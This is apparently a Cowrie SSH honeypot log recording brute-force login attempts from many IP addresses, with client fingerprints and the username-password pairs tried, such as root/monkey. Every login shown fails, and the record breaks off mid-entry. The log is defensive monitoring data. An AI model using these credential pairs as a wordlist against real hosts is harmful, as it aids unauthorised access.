{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:23.262955Z","src_ip":"193.37.70.224","session":"e99612a3a008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":43476,"dst_ip":"10.17.0.5","dst_port":22,"session":"57e9cd1d96ca","protocol":"ssh","message":"New connection: 189.190.244.176:43476 (10.17.0.5:22) [session: 57e9cd1d96ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:33.205105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:33.208694Z","src_ip":"189.190.244.176","session":"57e9cd1d96ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:33.283267Z","src_ip":"189.190.244.176","session":"57e9cd1d96ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masoud","message":"login attempt [root/masoud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:33.611091Z","src_ip":"189.190.244.176","session":"57e9cd1d96ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:34.687894Z","src_ip":"189.190.244.176","session":"57e9cd1d96ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":35544,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b228fba48df","protocol":"ssh","message":"New connection: 192.169.197.250:35544 (10.17.0.5:22) [session: 5b228fba48df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:35.400799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:35.615132Z","src_ip":"192.169.197.250","session":"5b228fba48df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:35.727212Z","src_ip":"192.169.197.250","session":"5b228fba48df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uae","password":"AbuDhabi#Bitc0!n#P@ss","message":"login attempt [uae/AbuDhabi#Bitc0!n#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:36.084369Z","src_ip":"192.169.197.250","session":"5b228fba48df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:37.153438Z","src_ip":"192.169.197.250","session":"5b228fba48df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.148.224","src_port":60260,"dst_ip":"159.203.135.109","dst_port":22,"session":"02943a1be4a6","protocol":"ssh","message":"New connection: 43.156.148.224:60260 (159.203.135.109:22) [session: 02943a1be4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:37.227779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:37.231095Z","src_ip":"43.156.148.224","session":"02943a1be4a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:37.468685Z","src_ip":"43.156.148.224","session":"02943a1be4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ftpadmin","message":"login attempt [ec2-user/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:38.452438Z","src_ip":"43.156.148.224","session":"02943a1be4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:39.691185Z","src_ip":"43.156.148.224","session":"02943a1be4a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.239.252.132","src_port":52689,"dst_ip":"159.203.135.109","dst_port":22,"session":"710d96b093f7","protocol":"ssh","message":"New connection: 103.239.252.132:52689 (159.203.135.109:22) [session: 710d96b093f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:45.049522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:45.056049Z","src_ip":"103.239.252.132","session":"710d96b093f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:45.296051Z","src_ip":"103.239.252.132","session":"710d96b093f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qweqwe","message":"login attempt [root/123123qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:46.256588Z","src_ip":"103.239.252.132","session":"710d96b093f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:47.498460Z","src_ip":"103.239.252.132","session":"710d96b093f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":56044,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a60b9a994bb","protocol":"ssh","message":"New connection: 45.61.187.220:56044 (159.203.135.109:22) [session: 3a60b9a994bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:57.907216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:57.916366Z","src_ip":"45.61.187.220","session":"3a60b9a994bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:57.947460Z","src_ip":"45.61.187.220","session":"3a60b9a994bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1qaz2wsx","message":"login attempt [admin1/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:58.114357Z","src_ip":"45.61.187.220","session":"3a60b9a994bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:59.147285Z","src_ip":"45.61.187.220","session":"3a60b9a994bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":39870,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d77acb4c849","protocol":"ssh","message":"New connection: 52.169.217.131:39870 (159.203.135.109:22) [session: 0d77acb4c849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:06.836136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:06.842767Z","src_ip":"52.169.217.131","session":"0d77acb4c849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:06.915899Z","src_ip":"52.169.217.131","session":"0d77acb4c849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abigail1","message":"login attempt [root/abigail1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:07.228070Z","src_ip":"52.169.217.131","session":"0d77acb4c849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:08.302361Z","src_ip":"52.169.217.131","session":"0d77acb4c849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":39844,"dst_ip":"159.203.135.109","dst_port":22,"session":"51e62b10f730","protocol":"ssh","message":"New connection: 178.128.39.166:39844 (159.203.135.109:22) [session: 51e62b10f730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:19.664980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:19.686682Z","src_ip":"178.128.39.166","session":"51e62b10f730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:19.776937Z","src_ip":"178.128.39.166","session":"51e62b10f730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monkey","message":"login attempt [root/monkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:20.169622Z","src_ip":"178.128.39.166","session":"51e62b10f730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:21.276438Z","src_ip":"178.128.39.166","session":"51e62b10f730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":39324,"dst_ip":"10.17.0.5","dst_port":22,"session":"d93446328039","protocol":"ssh","message":"New connection: 143.20.185.207:39324 (10.17.0.5:22) [session: d93446328039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:43.789157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:43.797365Z","src_ip":"143.20.185.207","session":"d93446328039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:43.913746Z","src_ip":"143.20.185.207","session":"d93446328039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZENNIXKY#4VCPU8GBAMD","message":"login attempt [root/ZENNIXKY#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:44.264285Z","src_ip":"143.20.185.207","session":"d93446328039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:52:45.379226Z","src_ip":"143.20.185.207","session":"d93446328039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":56460,"dst_ip":"159.203.135.109","dst_port":22,"session":"864c822cf8a0","protocol":"ssh","message":"New connection: 154.16.115.34:56460 (159.203.135.109:22) [session: 864c822cf8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:04.393753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:04.395909Z","src_ip":"154.16.115.34","session":"864c822cf8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com"